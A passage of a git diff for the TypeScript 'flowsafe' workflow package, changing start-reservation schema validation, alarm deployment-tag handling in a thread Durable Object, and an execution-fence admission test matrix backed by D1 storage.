ReservationSchemaError('admission requires current schema'); + const captured: Record = {}; + for (const [name] of START_IDEMPOTENCY_COLUMNS) { + if (!Object.hasOwn(row, name)) + throw new ReservationSchemaError(`row is missing ${name}`); + captured[name] = row[name]; + } + if (!isPathSafeId(captured.key)) + throw new ReservationSchemaError('admission key is invalid'); + if (!isPathSafeId(captured.run_id)) + throw new ReservationSchemaError('admission run id is invalid'); + if (!isPathSafeId(captured.target_id)) + throw new ReservationSchemaError('admission target id is invalid'); + if (captured.target_kind === 'workflow' && captured.thread_id !== null) + throw new ReservationSchemaError('admission workflow thread must be null'); + if (captured.target_kind === 'agent' && !isPathSafeId(captured.thread_id)) + throw new ReservationSchemaError('admission agent thread is invalid'); + normalizeStartIdentity({ + owner: { kind: captured.owner_kind, id: captured.owner_id }, + target: { + kind: captured.target_kind, + id: captured.target_id, + ...(captured.thread_id === null ? {} : { threadId: captured.thread_id }), + }, + }); + const reservation = reservationFromRow(captured, stage); + return Object.freeze({ + ...reservation, + owner: Object.freeze(reservation.owner), + binding: Object.freeze(reservation.binding), + }); +} + +/** @internal Decode current-stage data before compatible thread normalization. */ +export function decodeStartReservationAdmissionResult( + result: unknown, +): StartReservationReading | undefined { + const rows = reservationResultRows(result); + if (rows.length > 1) + throw new ReservationSchemaError('admission returned multiple rows'); + return rows[0] === undefined + ? undefined + : admissionReservationFromRow(rows[0], 3); +} + +export function reservationSchemaStage( + result: unknown, +): StartReservationSchemaStage | undefined { + const columns = reservationResultRows(result); + if (columns.length === 0) return undefined; + if (columns.length < 10 || columns.length > START_IDEMPOTENCY_COLUMNS.length) + throw new ReservationSchemaError('unexpected columns'); + for (const [index, actual] of columns.entries()) { + const expected = START_IDEMPOTENCY_COLUMNS[index]; + if (expected === undefined) + throw new ReservationSchemaError('unexpected columns'); + const [name, type, notnull, pk] = expected; + if ( + actual.name !== name || + actual.type !== type || + actual.notnull !== notnull || + actual.pk !== pk || + actual.dflt_value !== null || + actual.hidden !== 0 + ) + throw new ReservationSchemaError(`column ${name} differs`); + } + return (columns.length - 10) as StartReservationSchemaStage; +} + +/** @internal Validate already-observed PRAGMA data without another query. */ +export function validateStartReservationAdmissionSchema(result: unknown): void { + if (reservationSchemaStage(result) !== 3) + throw new ReservationSchemaError('admission requires current schema'); +} + +export function captureBoundReservation( + value: StartReservationReading, +): StartReservationReading { + const { + key, + owner, + targetKind, + targetId, + runId, + threadId, + state, + createdAt, + updatedAt, + binding, + } = record(value); + const bound = record(binding); + if (bound.kind !== 'bound') + throw new InvalidExecutionIdentityError('admission'); + const { + tablePrefix, + workflowId, + runId: physicalRunId, + startToken, + } = record(bound.execution); + const execution = normalizeRunExecutionIdentity({ + tablePrefix, + workflowId, + runId: physicalRunId, + startToken, + }); + if (execution.tablePrefix !== tablePrefix || execution.runId !== runId) + throw new InvalidExecutionIdentityError('admission'); + const identity = normalizeStartIdentity({ + owner, + target: { kind: targetKind, id: targetId, threadId }, + }); + return admissionReservationFromRow( + { + key, + owner_kind: identity.owner.kind, + owner_id: identity.owner.id, + target_kind: identity.target.kind, + target_id: identity.target.id, + run_id: runId, + thread_id: threadId ?? null, + state, + created_at: createdAt, + updated_at: updatedAt, + start_token: execution.startToken, + start_table_prefix: execution.tablePrefix, + start_workflow_id: execution.workflowId, + }, + 3, + ); +} diff --git a/packages/flowsafe/src/do-runner/thread-do.test.ts b/packages/flowsafe/src/do-runner/thread-do.test.ts index bf39fbba..db7fade5 100644 --- a/packages/flowsafe/src/do-runner/thread-do.test.ts +++ b/packages/flowsafe/src/do-runner/thread-do.test.ts @@ -18,6 +18,11 @@ import { ThreadDurableObject, type ThreadScope } from './thread-do.js'; class TestThread extends ThreadDurableObject { builds = 0; scopes: ThreadScope[] = []; + alarmScopes: Array<{ + threadId: string; + init: InitResult; + deploymentTag?: string; + }> = []; events?: string[]; buildError?: Error; alarmError?: Error; @@ -43,7 +48,13 @@ class TestThread extends ThreadDurableObject { ); } - protected async onAlarm(): Promise { + protected async onAlarm( + _env: unknown, + threadId: string, + initResult: InitResult, + deploymentTag?: string, + ): Promise { + this.alarmScopes.push({ threadId, init: initResult, deploymentTag }); this.events?.push('onAlarm'); if (this.alarmError) throw this.alarmError; } @@ -124,6 +135,62 @@ function cDeferred() { return { promise, resolve }; } +describe('FS8 D3 host activation', () => { + it.each([ + 'replacement', + undefined, + ])('passes the verified alarm tag after the environment changes to %s', async (replacement) => { + const entered = cDeferred(); + const release = cDeferred(); + const identity = deploymentIdentityDatabase(); + const setAlarm = vi.fn(async () => {}); + const env = { + DEPLOYMENT_TENANT: 'acme' as string | undefined, + DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET, + DB: { + prepare(query: string) { + const statement = identity.prepare(query); + return { + ...statement, + async all() { + const result = await statement.all(); + entered.resolve(); + await release.promise; + return result; + }, + }; + }, + }, + }; + const thread = new TestThread( + { + id: { name: 'thread-alarm' }, + storage: { setAlarm }, + } as unknown as DurableObjectState, + env, + ); + const pending = thread.alarm(); + try { + await entered.promise; + expect(thread.builds).toBe(0); + expect(thread.alarmScopes).toEqual([]); + expect(setAlarm).toHaveBeenCalledOnce(); + env.DEPLOYMENT_TENANT = replacement; + } finally { + release.resolve(); + await pending; + } + expect(thread.builds).toBe(1); + expect(thread.alarmScopes).toHaveLength(1); + expect(thread.alarmScopes[0]).toMatchObject({ + threadId: 'thread-alarm', + deploymentTag: 'acme', + }); + expect(thread.alarmScopes[0]?.init.runtime).toBeDefined(); + expect(setAlarm).toHaveBeenCalledOnce(); + }); +}); + describe('ThreadDurableObject identity boundary', () => { it.each([ undefined, diff --git a/packages/flowsafe/src/do-runner/thread-do.ts b/packages/flowsafe/src/do-runner/thread-do.ts index ef238ba6..5e64f0bd 100644 --- a/packages/flowsafe/src/do-runner/thread-do.ts +++ b/packages/flowsafe/src/do-runner/thread-do.ts @@ -128,6 +128,7 @@ export abstract class ThreadDurableObject { _env: TEnv, _threadId: string, _init: InitResult, + _deploymentTag?: string, ): Promise {} /** @@ -187,8 +188,11 @@ export abstract class ThreadDurableObject { Date.now() + THREAD_ALARM_RECOVERY_DELAY_MS, ); try { - await verifyDurableObjectDeploymentIdentity(this.state, this.env); - await this.onAlarm(this.env, threadId, this.#ensureInit()); + const deploymentTag = await verifyDurableObjectDeploymentIdentity( + this.state, + this.env, + ); + await this.onAlarm(this.env, threadId, this.#ensureInit(), deploymentTag); } catch (error) { await this.state?.storage.setAlarm?.( Date.now() + THREAD_ALARM_RECOVERY_DELAY_MS, diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index f1548232..a2d7e81f 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -24,7 +24,7 @@ // approval decide, signal delivery. Admitted // through a drain, because finishing these is what // the drain is waiting for. In proof-only, only the -// nominated run. +// nominated physical generation. // admitsWorkAuthoring standing configuration that ARMS future work — a // schedule created or resumed, an objective set, a // due fire claimed. `open` only; nothing nominates @@ -50,13 +50,18 @@ // admitsDrainableExecution. import { Mastra } from '@mastra/core'; -import type { Agent } from '@mastra/core/agent'; +import { Agent, createSignal } from '@mastra/core/agent'; +import { MockMemory } from '@mastra/core/memory'; import type { NotificationsStorage } from '@mastra/core/notifications'; import { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; -import { createStep, createWorkflow } from '@mastra/core/workflows'; +import { + createStep, + createWorkflow, + type WorkflowRunState, +} from '@mastra/core/workflows'; import ts from 'typescript'; -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; import { @@ -64,13 +69,20 @@ import { type SqliteDatabase, sqliteUnitDatabase, } from '../test-support/sqlite.js'; +import { createFlowsafeDurableAgent } from './agent-runner/index.js'; import type { ActorContext, ApprovalActor } from './approval-api/index.js'; import { ApprovalService, + D1ResourceOwnershipStore, InMemoryApprovalStore, - InMemoryResourceOwnershipStore, + type ResourceOwnershipDatabase, } from './approval-api/index.js'; import { BackgroundTaskHost } from './background-tasks/index.js'; +import type { DurableKeyValueStorage } from './do-runner/cf-types.js'; +import type { + D1StartExecutionIdentity, + RunExecutionIdentity, +} from './do-runner/execution-admission.js'; import { RUN_PROVENANCE_CONTEXT_KEY } from './do-runner/execution-context.js'; import type { DurableObjectRunOwnershipStore, @@ -78,7 +90,6 @@ import type { ExecutionFenceReading, ExecutionFenceState, RunnerRuntime, - StartIdempotencyDatabase, } from './do-runner/index.js'; import { admitsDrainableExecution, @@ -146,17 +157,20 @@ type PredicateName = * The declared predicate, evaluated on a real reading. * * `nomination` is what proof-only would have to name for this entry to be - * admitted — an idempotency key for a mint, a runId for work on an existing + * admitted — an idempotency key for a mint, a complete generation for an existing * run — and it is `undefined` on the probe that deliberately does not carry it. */ function admits( predicate: PredicateName, reading: ExecutionFenceReading, - nomination: string | undefined, + nomination: string | RunExecutionIdentity | undefined, ): boolean { switch (predicate) { case 'admitsRunStart': - return admitsRunStart(reading, nomination); + return admitsRunStart( + reading, + typeof nomination === 'string' ? nomination : undefined, + ); case 'admitsExistingRun': return admitsExistingRun(reading, nomination); case 'admitsWorkAuthoring': @@ -175,7 +189,7 @@ interface Prepared { * entry with no nomination is never admitted in proof-only, and its * nominated probe asserts exactly that rather than a duplicate. */ - readonly nomination?: string; + readonly nomination?: string | D1StartExecutionIdentity; /** Drive the production entry. `carry` supplies the nomination when true. */ invoke(carry: boolean): Promise; } @@ -207,7 +221,7 @@ async function openFence(): Promise<{ sqlite: SqliteDatabase; }> { const sqlite = openSqlite(); - const database = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const database = deploymentIdentityDatabase(sqlite); const fence = new ExecutionFenceStore(database); await fence.seed('open'); return { fence, database, sqlite }; @@ -267,21 +281,17 @@ function nextRunId(): string { } /** A workflow whose only step suspends, so a run can be left mid-flight. */ -function gatedRuntime( +async function gatedRuntime( fence: ExecutionFenceStore, - storage = new InMemoryStore(), -): RunnerRuntime { + database: ExecutionFenceDatabase, +): Promise { + const storage = createD1Storage({ binding: database }); + await storage.init(); const { createWorkflow, createStep, runtime } = init( { storage }, { executionFence: fence, - // A real reservation store, not `'none'`: the run object refuses to serve - // a runtime that has none while its env carries a DB binding, so the - // opt-out would fail every DO drive below with a wiring error instead of - // a verdict. - startIdempotency: new StartIdempotencyStore( - sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase, - ), + startIdempotency: new StartIdempotencyStore(database), }, ); const gate = createStep({ @@ -306,8 +316,9 @@ function gatedRuntime( } /** A D1 double carrying the deployment sentinel the DO hosts verify against. */ -function deploymentIdentityDatabase(): unknown { - const sqlite = openSqlite(); +function deploymentIdentityDatabase( + sqlite = openSqlite(), +): ExecutionFenceDatabase { sqlite.exec( `CREATE TABLE flowsafe_deployment ( id INTEGER PRIMARY KEY CHECK (id = 1), @@ -320,19 +331,18 @@ function deploymentIdentityDatabase(): unknown { 'INSERT INTO flowsafe_deployment (id, tenant_tag, provisioned_at) VALUES (1, ?, ?)', ) .run('acme', new Date(0).toISOString()); - return sqliteUnitDatabase(sqlite); + return sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; } interface RunnerEnv { - storage: InMemoryStore; - fence: ExecutionFenceStore; + runtime: RunnerRuntime; owners: DurableObjectRunOwnershipStore; DEPLOYMENT_TENANT: string; DEPLOYMENT_IDENTITY_SECRET: string; - DB: unknown; + DB: ExecutionFenceDatabase; } -/** The production run-object host, over the real in-memory ownership registry. */ +/** The production run-object host, over the same D1 ownership and run domains. */ class MatrixRunner extends DurableObjectRunner { protected runOwnership(env: RunnerEnv): DurableObjectRunOwnershipStore { return env.owners; @@ -343,19 +353,46 @@ class MatrixRunner extends DurableObjectRunner { } protected build(env: RunnerEnv): RunnerRuntime { - return gatedRuntime(env.fence, env.storage); + return env.runtime; } } -function matrixRunner(fence: ExecutionFenceStore): MatrixRunner { - return new MatrixRunner(undefined, { - storage: new InMemoryStore(), - fence, - owners: new InMemoryResourceOwnershipStore(), - DEPLOYMENT_TENANT: 'acme', - DEPLOYMENT_IDENTITY_SECRET: TEST_IDENTITY_SECRET, - DB: deploymentIdentityDatabase(), - }); +async function matrixRunner( + fence: ExecutionFenceStore, + database: ExecutionFenceDatabase, + runId: string, +): Promise<{ runner: MatrixRunner; runtime: RunnerRuntime }> { + const runtime = await gatedRuntime(fence, database); + const values = new Map(); + let alarm: number | undefined; + const storage: DurableKeyValueStorage = { + get: async (key: string) => + structuredClone(values.get(key)) as T | undefined, + put: async (key, value) => { + values.set(key, structuredClone(value)); + }, + delete: async (key) => values.delete(key), + setAlarm: async (at) => { + alarm = Number(at); + }, + deleteAlarm: async () => { + alarm = undefined; + }, + }; + const runner = new MatrixRunner( + { id: { name: `gated:${runId}` }, storage }, + { + runtime, + owners: new D1ResourceOwnershipStore( + database as unknown as ResourceOwnershipDatabase, + ), + DEPLOYMENT_TENANT: 'acme', + DEPLOYMENT_IDENTITY_SECRET: TEST_IDENTITY_SECRET, + DB: database, + }, + ); + expect(alarm).toBeUndefined(); + return { runner, runtime }; } function runnerRequest(path: string, body: Record): Request { @@ -423,37 +460,170 @@ const TARGET_POLICY = createScheduleTargetPolicy({ agents: [], }); -/** - * The minimum agent the thread signal routes need, with an ACTIVE thread run so - * proof-only has something to nominate. - * - * `Agent` is a @mastra/core class the routes only ever call methods on, so a - * structural stand-in is the honest fixture here — the alternative is booting a - * model, which would test the model. - */ -function matrixAgent(activeRunId: string): Agent { - const delivered = { - signal: { id: 's' }, - accepted: Promise.resolve({ action: 'deliver', runId: activeRunId }), - }; - return { - id: 'agent', - __setPubSub: () => undefined, - getMemory: () => ({ saveMessages: async () => undefined }), - getActiveThreadRunId: () => activeRunId, - sendSignal: () => delivered, - sendMessage: () => delivered, - } as unknown as Agent; +async function existingExecution( + runtime: RunnerRuntime, + workflowId: string, + runId: string, +): Promise { + const state = await runtime.authoritativeStartState(workflowId, runId); + if ( + state?.storage !== 'd1' || + state.kind !== 'result' || + !state.provenance.startIdentity + ) + throw new Error('matrix requires an actual owned D1 result'); + return { ...state.execution, ...state.provenance.startIdentity }; } -/** The thread-DO scope the signal routes run inside. */ -function threadScope(fence: ExecutionFenceStore): unknown { +async function nominateExistingExecution( + fence: ExecutionFenceStore, + database: ExecutionFenceDatabase, + execution: D1StartExecutionIdentity, +): Promise { + const originalRound = await fence.read(); + const store = new StartIdempotencyStore(database); + const { reservation } = await store.reserve({ + key: PROOF_KEY, + owner: execution.owner, + targetKind: execution.target.kind, + targetId: execution.target.id, + ...(execution.target.kind === 'agent' + ? { threadId: execution.target.threadId } + : {}), + mintRunId: () => execution.runId, + }); + const bound = await store.associateReservation(reservation, execution); + expect( + await fence.rebindProofRun({ + reservation: bound, + execution, + proof: { + key: PROOF_KEY, + mutationEpoch: originalRound.mutationEpoch, + transitionRevision: originalRound.transitionRevision, + }, + mutationEpoch: originalRound.mutationEpoch, + reservationStore: store, + }), + ).toBe(true); + expect((await fence.read()).proofExecution).toEqual({ + tablePrefix: execution.tablePrefix, + workflowId: execution.workflowId, + runId: execution.runId, + startToken: execution.startToken, + }); +} + +/** Actual wrapper, private Runtime and workflow domain; only delivery is spied. */ +async function matrixAgent( + fence: ExecutionFenceStore, + database: ExecutionFenceDatabase, + activeRunId: string, +) { + const storage = createD1Storage({ binding: database }); + await storage.init(); + const pubsub = createHostPubSub(); + const runner = init( + { storage }, + { + pubsub, + executionFence: fence, + startIdempotency: new StartIdempotencyStore(database), + }, + ); + const agent = createFlowsafeDurableAgent({ + agent: new Agent({ + id: 'agent', + name: 'Matrix agent', + instructions: 'Matrix delivery fixture.', + model: { + specificationVersion: 'v2', + provider: 'matrix', + modelId: 'unreachable', + supportedUrls: {}, + doGenerate: async () => { + throw new Error('matrix must not invoke a model'); + }, + doStream: async () => { + throw new Error('matrix must not invoke a model'); + }, + }, + memory: new MockMemory(), + }), + runtime: runner.runtime, + pubsub, + cache: false, + }); + const workflowId = agent.getWorkflow().id; + const domain = await storage.getStore('workflows'); + if (!domain) throw new Error('matrix workflow domain is missing'); + await domain.persistWorkflowSnapshot({ + workflowName: workflowId, + runId: activeRunId, + snapshot: { + runId: activeRunId, + status: 'suspended', + context: {}, + requestContext: { + [RUN_PROVENANCE_CONTEXT_KEY]: { + version: 2, + startToken: crypto.randomUUID(), + attemptToken: crypto.randomUUID(), + requestedBy: 'operator', + requestedByKind: 'human', + startIdentity: { + owner: { kind: 'human', id: 'operator' }, + target: { kind: 'agent', id: 'agent', threadId: THREAD_ID }, + }, + agentStart: { threaded: true }, + resumeCounts: [], + }, + }, + activePaths: [], + activeStepsPath: {}, + serializedStepGraph: [], + suspendedPaths: {}, + waitingPaths: {}, + resumeLabels: {}, + value: {}, + timestamp: Date.now(), + } as WorkflowRunState, + }); + const delivered = { + signal: createSignal({ id: 's', type: 'reactive', contents: 'nudge' }), + accepted: Promise.resolve({ + action: 'deliver' as const, + runId: activeRunId, + }), + }; + vi.spyOn(agent, 'getActiveThreadRunId').mockReturnValue(activeRunId); + const delivery = vi.spyOn(agent, 'sendSignal').mockReturnValue(delivered); + const nomination = await existingExecution( + runner.runtime, + workflowId, + activeRunId, + ); + expect( + await agent.proofExecutionFor(runner.runtime, THREAD_ID, activeRunId), + ).toEqual({ + tablePrefix: nomination.tablePrefix, + workflowId, + runId: activeRunId, + startToken: nomination.startToken, + }); return { - threadId: THREAD_ID, - actor: { id: 'operator', role: 'operator' }, - principal: { kind: 'human', id: 'operator', role: 'operator' }, - requestedBy: 'operator', - init: { pubsub: createHostPubSub(), executionFence: fence }, + agent, + nomination, + delivery, + scope: { + threadId: THREAD_ID, + principal: { + kind: 'human' as const, + id: 'operator', + role: 'operator' as const, + }, + init: runner, + }, }; } @@ -560,22 +730,16 @@ const ENTRIES: readonly Entry[] = [ expect(capability.database).toBe(database); const reservationStore = new StartIdempotencyStore(database); - await reservationStore.reserve({ + const reserved = await reservationStore.reserve({ key: PROOF_KEY, owner: startIdentity.owner, targetKind: 'workflow', targetId: workflowId, mintRunId: () => runId, }); - expect(await reservationStore.claim(PROOF_KEY, runId)).toBe(true); - // B1 does not activate modern reserve emission; this is its required - // already-modern unbound precondition, not a new production minter. - sqlite - .prepare( - "UPDATE flowsafe_start_idempotency SET start_token = '' WHERE key = ?", - ) - .run(PROOF_KEY); - const reservation = await reservationStore.readForAdmission(PROOF_KEY); + const reservation = await reservationStore.claimReservation( + reserved.reservation, + ); if (!reservation) throw new Error('initial reservation is missing'); return { @@ -698,8 +862,8 @@ const ENTRIES: readonly Entry[] = [ name: 'RunnerRuntime.start', module: 'do-runner/runtime.ts — the closure guarantee for every mint', predicate: 'admitsRunStart', - prepare: async (fence) => { - const runtime = gatedRuntime(fence); + prepare: async (fence, database) => { + const runtime = await gatedRuntime(fence, database); return { nomination: PROOF_KEY, invoke: (carry) => @@ -707,6 +871,8 @@ const ENTRIES: readonly Entry[] = [ runtime.start('gated', { runId: nextRunId(), inputData: {}, + requestedBy: 'owner-1', + requestedByKind: 'human', ...(carry ? { idempotencyKey: PROOF_KEY } : {}), }), ), @@ -717,12 +883,17 @@ const ENTRIES: readonly Entry[] = [ name: 'RunnerRuntime.resume', module: 'do-runner/runtime.ts — the closure guarantee for every re-entry', predicate: 'admitsExistingRun', - prepare: async (fence) => { - const runtime = gatedRuntime(fence); + prepare: async (fence, database) => { + const runtime = await gatedRuntime(fence, database); const runId = nextRunId(); - await runtime.start('gated', { runId, inputData: {} }); + await runtime.start('gated', { + runId, + inputData: {}, + requestedBy: 'owner-1', + requestedByKind: 'human', + }); return { - nomination: runId, + nomination: await existingExecution(runtime, 'gated', runId), invoke: () => classify(() => runtime.resume('gated', runId, { @@ -740,8 +911,9 @@ const ENTRIES: readonly Entry[] = [ module: 'do-runner/durable-object.ts — ahead of the recovery journal and the owner reservation', predicate: 'admitsRunStart', - prepare: async (fence) => { - const runner = matrixRunner(fence); + prepare: async (fence, database) => { + const runId = nextRunId(); + const { runner } = await matrixRunner(fence, database, runId); return { nomination: PROOF_KEY, invoke: (carry) => @@ -749,7 +921,7 @@ const ENTRIES: readonly Entry[] = [ runner.fetch( runnerRequest('/runs', { workflowId: 'gated', - runId: nextRunId(), + runId, inputData: {}, ...(carry ? { idempotencyKey: PROOF_KEY } : {}), }), @@ -762,14 +934,22 @@ const ENTRIES: readonly Entry[] = [ name: 'run object POST /:workflow/:run/resume', module: 'do-runner/durable-object.ts — ahead of the per-run operation lock', predicate: 'admitsExistingRun', - prepare: async (fence) => { - const runner = matrixRunner(fence); + prepare: async (fence, database) => { const runId = nextRunId(); - await runner.fetch( - runnerRequest('/runs', { workflowId: 'gated', runId, inputData: {} }), - ); + const { runner, runtime } = await matrixRunner(fence, database, runId); + expect( + await classify(() => + runner.fetch( + runnerRequest('/runs', { + workflowId: 'gated', + runId, + inputData: {}, + }), + ), + ), + ).toBe('admitted'); return { - nomination: runId, + nomination: await existingExecution(runtime, 'gated', runId), invoke: () => classify(() => runner.fetch( @@ -788,8 +968,15 @@ const ENTRIES: readonly Entry[] = [ name: 'ApprovalService.decide', module: 'approval-api/service.ts — commits the decision, then resumes', predicate: 'admitsExistingRun', - prepare: async (fence) => { + prepare: async (fence, database) => { const runId = nextRunId(); + const runtime = await gatedRuntime(fence, database); + await runtime.start('gated', { + runId, + inputData: {}, + requestedBy: 'owner-1', + requestedByKind: 'human', + }); const store = new InMemoryApprovalStore(); const at = new Date(0).toISOString(); await store.create({ @@ -800,12 +987,18 @@ const ENTRIES: readonly Entry[] = [ connectors: [], priority: 'normal', status: 'pending', + requestedBy: 'owner-1', + requestedByKind: 'human', createdAt: at, updatedAt: at, }); - const service = new ApprovalService({ store, executionFence: fence }); + const service = new ApprovalService({ + store, + executionFence: fence, + workflowTablePrefix: '', + }); return { - nomination: runId, + nomination: await existingExecution(runtime, 'gated', runId), invoke: () => classify(() => service.decide( @@ -821,25 +1014,35 @@ const ENTRIES: readonly Entry[] = [ name: 'thread object POST /signal', module: 'signals/thread-do-routes.ts — delivery into an existing run', predicate: 'admitsExistingRun', - prepare: async (fence) => { + prepare: async (fence, database) => { const runId = nextRunId(); + const { agent, nomination, delivery, scope } = await matrixAgent( + fence, + database, + runId, + ); const routes = createThreadSignalRoutes({ - resolveAgent: () => matrixAgent(runId), - resolveResourceId: () => 'acme_owner', + resolveAgent: () => agent as unknown as Agent, + resolveResourceId: () => THREAD_ID, }); return { - nomination: runId, - invoke: () => - classify(() => + nomination, + invoke: async () => { + const outcome = await classify(() => routes( new Request('http://thread/signal', { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ contents: 'nudge' }), }), - threadScope(fence) as never, + scope, ), - ), + ); + expect(delivery).toHaveBeenCalledTimes( + outcome === 'admitted' ? 1 : 0, + ); + return outcome; + }, }; }, }, @@ -1087,20 +1290,53 @@ const ENTRIES: readonly Entry[] = [ * new boundary fails until it is written down here — with either the matrix * entry that drives it, or the suite that already does. * - * `drivenBy` names a matrix entry above wherever one exists. The three that - * name a test file instead are gates this file cannot reach without a seam that - * production has no other reason to publish: two of them fire inside the - * background-task host's private dispatch path, and one is the wake lane of a - * route whose other arm IS driven here. Each is exercised across all four - * states in the file named. + * `drivenBy` names a matrix entry above wherever one exists. Delegated suites + * exercise the background-task host's private dispatch paths, the serialized + * wake lane, and proof nomination's reservation/snapshot/readback checks. + * Their boundary-specific states and races live in the named test files. */ type GateSite = { file: string; predicate: PredicateName; sql?: 'initial-snapshot-insert'; + delegate?: 'assertExistingRunAllowed' | 'proof.capture'; }; const GATE_SITES: ReadonlyArray = [ + { + file: 'do-runner/execution-fence.ts', + predicate: 'admitsExistingRun', + // Captured reservation binding agrees with the requested proof generation. + drivenBy: 'do-runner/execution-fence.test.ts', + }, + { + file: 'do-runner/execution-fence.ts', + predicate: 'admitsExistingRun', + // Bound current snapshot generation agrees with its reservation. + drivenBy: 'do-runner/execution-fence.test.ts', + }, + { + file: 'do-runner/execution-fence.ts', + predicate: 'admitsExistingRun', + // A previously nominated generation agrees with this replay. + drivenBy: 'do-runner/execution-fence.test.ts', + }, + { + file: 'do-runner/execution-fence.ts', + predicate: 'admitsExistingRun', + // Nomination RETURNING and response-loss convergence preserve the tuple. + drivenBy: 'do-runner/execution-fence.test.ts', + }, + { + file: 'approval-api/service.ts', + predicate: 'admitsExistingRun', + drivenBy: 'ApprovalService.decide', + }, + { + file: 'approval-api/service.ts', + predicate: 'admitsExistingRun', + drivenBy: 'ApprovalService.decide', + }, { file: 'approval-api/service.ts', predicate: 'admitsExistingRun', @@ -1132,6 +1368,7 @@ const GATE_SITES: ReadonlyArray = [ { file: 'do-runner/durable-object.ts', predicate: 'admitsExistingRun', + delegate: 'assertExistingRunAllowed', drivenBy: 'run object POST /:workflow/:run/resume', }, { @@ -1156,6 +1393,11 @@ const GATE_SITES: ReadonlyArray = [ predicate: 'admitsExistingRun', drivenBy: 'RunnerRuntime.resume', }, + { + file: 'do-runner/runtime.ts', + predicate: 'admitsExistingRun', + drivenBy: 'RunnerRuntime.resume', + }, { file: 'goals/objective-routes.ts', predicate: 'admitsWorkAuthoring', @@ -1194,17 +1436,18 @@ const GATE_SITES: ReadonlyArray = [ { file: 'signals/thread-do-routes.ts', predicate: 'admitsExistingRun', - // handleWake's own check, for the wake path it owns. + // Retained generation after application awaits. + drivenBy: 'thread object POST /signal', + }, + { + file: 'signals/thread-do-routes.ts', + predicate: 'admitsExistingRun', + delegate: 'proof.capture', + // The serialized wake captures its own current generation. drivenBy: 'signals/thread-do-routes.test.ts', }, ]; -/** - * The files whose `admits*` mentions are not call sites: the module that - * DEFINES the predicates, and the barrel that re-exports them. - */ -const NOT_GATE_FILES = ['do-runner/execution-fence.ts', 'do-runner/index.ts']; - type SourceFileSystem = { existsSync(path: string | URL): boolean; readdirSync( @@ -1257,23 +1500,53 @@ function walkSourceFiles( } /** - * Every direct `admits*(` call, preserving the original lexical census and - * its declaration/barrel exclusions. SQL discovery has no such exclusions. + * Every actual predicate/delegation call. Definitions, re-exports and comments + * are not calls; the defining module's own nomination gates remain visible. * * The filesystem reader keeps the schema guard's getBuiltinModule idiom, * without adding a direct Node ambient-type requirement to this test. */ function predicateCallSites({ file, source }: SourceFile): GateSite[] { const found: GateSite[] = []; - const pattern = - /\badmits(RunStart|ExistingRun|WorkAuthoring|DrainableExecution)\s*\(/g; - if (NOT_GATE_FILES.includes(file)) return found; - for (const match of source.matchAll(pattern)) { - found.push({ - file, - predicate: `admits${match[1] as string}` as PredicateName, - }); - } + const parsed = ts.createSourceFile( + file, + source, + ts.ScriptTarget.Latest, + true, + ); + const visit = (node: ts.Node): void => { + if (ts.isCallExpression(node)) { + const expression = node.expression; + const name = ts.isIdentifier(expression) + ? expression.text + : ts.isPropertyAccessExpression(expression) + ? expression.name.text + : undefined; + if ( + name && + /^admits(?:RunStart|ExistingRun|WorkAuthoring|DrainableExecution)$/.test( + name, + ) + ) { + found.push({ file, predicate: name as PredicateName }); + } else if (name === 'assertExistingRunAllowed') { + found.push({ file, predicate: 'admitsExistingRun', delegate: name }); + } else if ( + name === 'capture' && + ts.isPropertyAccessExpression(expression) && + ts.isPropertyAccessExpression(expression.expression) && + expression.expression.name.text === 'proof' + ) { + found.push({ + file, + predicate: 'admitsExistingRun', + delegate: 'proof.capture', + }); + } + } + ts.forEachChild(node, visit); + }; + visit(parsed); return found; } @@ -1335,9 +1608,9 @@ type FenceErrorName = 'ExecutionFencedError' | 'ExecutionFenceUnreadableError'; /** * Every production site that AUTHORS a fence refusal or unreadable-store - * failure. Each row states why the error prevents engine execution. Initial - * admission may already have persisted rows: those sites must say so, without - * claiming their refusal proves no durable write. The scan makes a new author + * failure. Each row states what the error refuses and what may already have + * happened. Reads and cleanup can fail after execution or durable writes; + * these errors alone establish neither quiescence nor no-insert authority. The scan makes a new author * fail until its boundary is reviewed and recorded here. It is lexical: * a constructor spelling in a comment or string fails loud and asks for review. * Aliased class names and namespace imports are forbidden so lexical coverage @@ -1347,195 +1620,409 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ file: string; error: FenceErrorName; anchor: string; - beforeExecutionEffect: string; + effectBoundary: string; }> = [ { file: 'do-runner/execution-admission.ts', error: 'ExecutionFenceUnreadableError', anchor: 'const current = candidate?.mutationEpoch;', - beforeExecutionEffect: + effectBoundary: 'The public epoch helper rejects malformed reading metadata before returning an admission comparison; it performs no execution.', }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'state.execution.owner.id !== expected.principal.id', + effectBoundary: + 'An immutable selected owner or target mismatch refuses terminal cleanup before settlement or record deletion; the run may already have executed.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'record(state.snapshot.context?.input)?.agentId !== ref.agentId', + effectBoundary: + 'A nonterminal or mismatched legacy observation cannot authorize the next cleanup effect or canonical record deletion; earlier authorized execution may already be durable.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'const [binding, current, journal] = await Promise.all([', + effectBoundary: + 'A journal observed before or between legacy cleanup effects blocks further cleanup; earlier completed lifecycle effects are not rolled back and the journal remains authoritative.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: + 'if (recovery.startReservation && !scope.init.runtime.startIdempotency)', + effectBoundary: + 'Keyed finalization requires the configured store before owner bookkeeping or journal clearing, including nonterminal results; it grants no new execution authority.', + }, + { + file: 'agent-host/thread-host.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'const finalizeTerminalAgentState = async (', + 